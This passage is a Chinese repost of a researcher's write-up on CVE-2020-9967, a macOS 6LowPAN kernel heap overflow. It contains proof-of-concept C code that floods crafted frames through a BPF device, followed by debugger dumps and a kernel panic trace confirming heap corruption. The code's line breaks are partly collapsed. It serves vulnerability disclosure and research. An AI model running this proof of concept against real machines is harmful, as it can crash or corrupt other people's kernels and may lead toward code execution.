// Open bpf deviceint open_bpf_device(){ char buf[11] = {}; int bpf = 0; for(int i = 0; i < 99; i++) { sprintf(buf,"/dev/bpf%i",i); bpf = open(buf,O_RDWR); if( bpf != -1 ) { printf("Opened device /dev/bpf%in", i); break; } } if(bpf == -1) { printf("Cannot open any /dev/bpf* device, exitingn"); exit(1); } return bpf; }
// Associate devicevoid assoc_dev(int bpf, char* interface){ struct ifreq bound_if; strcpy(bound_if.ifr_name, interface); if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) { printf("Cannot bind bpf device to physical device %s, exitingn", interface); exit(1); } printf("Bound bpf device to physical device %sn", interface);}
// Write trigger framevoid write_single_frame(int bpf) { ssize_t data_length = 32;
struct frame_t frame; memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN); memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
// 802.15.4 frame type. frame.header.ether_type = 0x908; frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;
// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); frame.payload[0] = 0xff; frame.payload[1] = 0xff;
// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *) // These are used for the FCF (no flags set) frame.payload[2] = 0; frame.payload[3] = 0; frame.payload[4] = 0;
// As none FCF are set p+=3 bytes. // header length // c = p - data; // c = 3 // payload length // pf->payload_len = (4 - 3); // pf->payload_len = 1
// This is the start of our payload passed to sixxlowpan_uncompress frame.payload[5] = 0; frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) { frame.payload[j] = 0x41; }
ssize_t bytes_sent; bytes_sent = write(bpf, &frame, frame.len); if(bytes_sent > 0) { printf("Bytes sent: %ldn", bytes_sent); } else { perror("Error sending frame"); exit(1); }}
int main(int argc, char *argv[]){ char* interface = "en0";
int bpf; bpf = open_bpf_device(); assoc_dev(bpf, interface); // Do this in a loop to ensure we corrupt data following mbuf. while (1) write_single_frame(bpf);
return 0; }


这就造成了以下结果:


frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]
(lldb) register read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000000000 rcx = 0xffffff8876c7bd28 rdx = 0x000000000000fff9 rdi = 0xffffff806f16f806 rsi = 0xffffff806f16f82b rbp = 0xffffff8876c7bcf0 rsp = 0xffffff8876c7bc30 r8 = 0xffffff8876c7bc38 r9 = 0xffffff8876c7bc40 r10 = 0x0000000000000000 r11 = 0x0000000000000003 r12 = 0x0000000000000028 r13 = 0x0000000000000003 r14 = 0xffffff8876c7bd28 r15 = 0xffffff806f16f803 rip = 0xffffff8012dfa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703 kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853 kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853 rflags = 0x0000000000000206 cs = 0x0000000000000008 fs = 0x0000000000000000 gs = 0x0000000000000000

Source:
(lldb) x/20x 0xffffff806f16f8060xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x414141410xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x000000000xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x687375700xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28
Dest:
(lldb) x/20x 0xffffff806f16f82b0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c7070610xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f630xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c70700xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e


由于集群 mbuf 的大小只有 2048,并且以链接列表的方式链在一起,这将会导致攻击者控制的数据损坏后续 mbuf。


在KASAN内核上运行我们稍微修改过的POC 2 (41的换成45的),我们也可以看到堆损坏已经发生,并且我们已经触发了Nextptr的验证:


panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)
Backtrace (CPU 0), Frame : Return Address0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x3840xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa870xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x260xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa60xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x1560xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x540xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x3010xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b80xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd30xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x1190xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x1360xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x21530xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e


预计由于写的大小受控,数据受控,将有可能把这个问题变成代码执行。


翻译文章地址:https://alexplaskett.github.io/CVE-2020-9967/

本文始发于微信公众号(Khan安全团队):CVE-2020-9967-Apple macOS 6LowPAN漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日02:40:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-9967-Apple macOS 6LowPAN漏洞https://cn-sec.com/archives/215379.html

发表评论

匿名网友 填写信息